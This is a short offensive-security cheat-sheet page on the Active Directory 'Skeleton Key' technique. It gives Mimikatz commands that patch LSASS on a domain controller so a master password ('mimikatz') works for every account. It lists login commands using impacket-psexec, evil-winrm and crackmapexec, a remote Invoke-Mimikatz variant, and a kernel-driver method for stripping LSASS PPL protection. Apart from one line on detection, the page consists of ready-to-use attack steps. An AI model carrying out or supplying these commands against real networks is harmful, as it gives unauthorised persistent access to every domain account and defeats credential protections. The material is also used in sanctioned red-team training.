> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Skeleton Key

> Skeleton Key: inject master password into Domain Controller LSASS for persistent access.

## Overview

Patch LSASS on DC with master password. All users can authenticate with their real password OR the skeleton key. Does not survive DC reboot.

***

## Mimikatz (On DC)

```cmd theme={"dark"}
mimikatz # privilege::debug
mimikatz # misc::skeleton
```

Default skeleton key: `mimikatz`

***

## Authenticate with Skeleton Key

```bash theme={"dark"}
# Any user with skeleton password
impacket-psexec DOMAIN/administrator:mimikatz@DC_IP
evil-winrm -i DC_IP -u administrator -p 'mimikatz'
crackmapexec smb DC_IP -u administrator -p 'mimikatz'
```

Original passwords still work too.

***

## Remote Injection (Needs DA)

If you have code exec on DC:

```powershell theme={"dark"}
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC_HOSTNAME
```

***

## Notes

* Patches LSASS memory on DC — **not persistent across reboots**
* All domain users affected
* Original passwords still work
* Default skeleton password: `mimikatz`
* LSASS must not be running as Protected Process (PPL)
* Detection: monitor LSASS memory modifications

***

## If LSASS is Protected (PPL)

`misc::skeleton` has no `/driver` switch. To bypass PPL, load the mimikatz driver (`!+`) and strip protection from LSASS first, then inject:

```cmd theme={"dark"}
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
```

`!+` loads the `mimidrv.sys` kernel driver; `!processprotect ... /remove` removes the PPL flag from LSASS.

***

## Quick Reference

| Task             | Command                                      |
| ---------------- | -------------------------------------------- |
| Inject           | `misc::skeleton` (on DC)                     |
| Default password | `mimikatz`                                   |
| Login            | `impacket-psexec DOMAIN/anyuser:mimikatz@DC` |
| Survives reboot  | No                                           |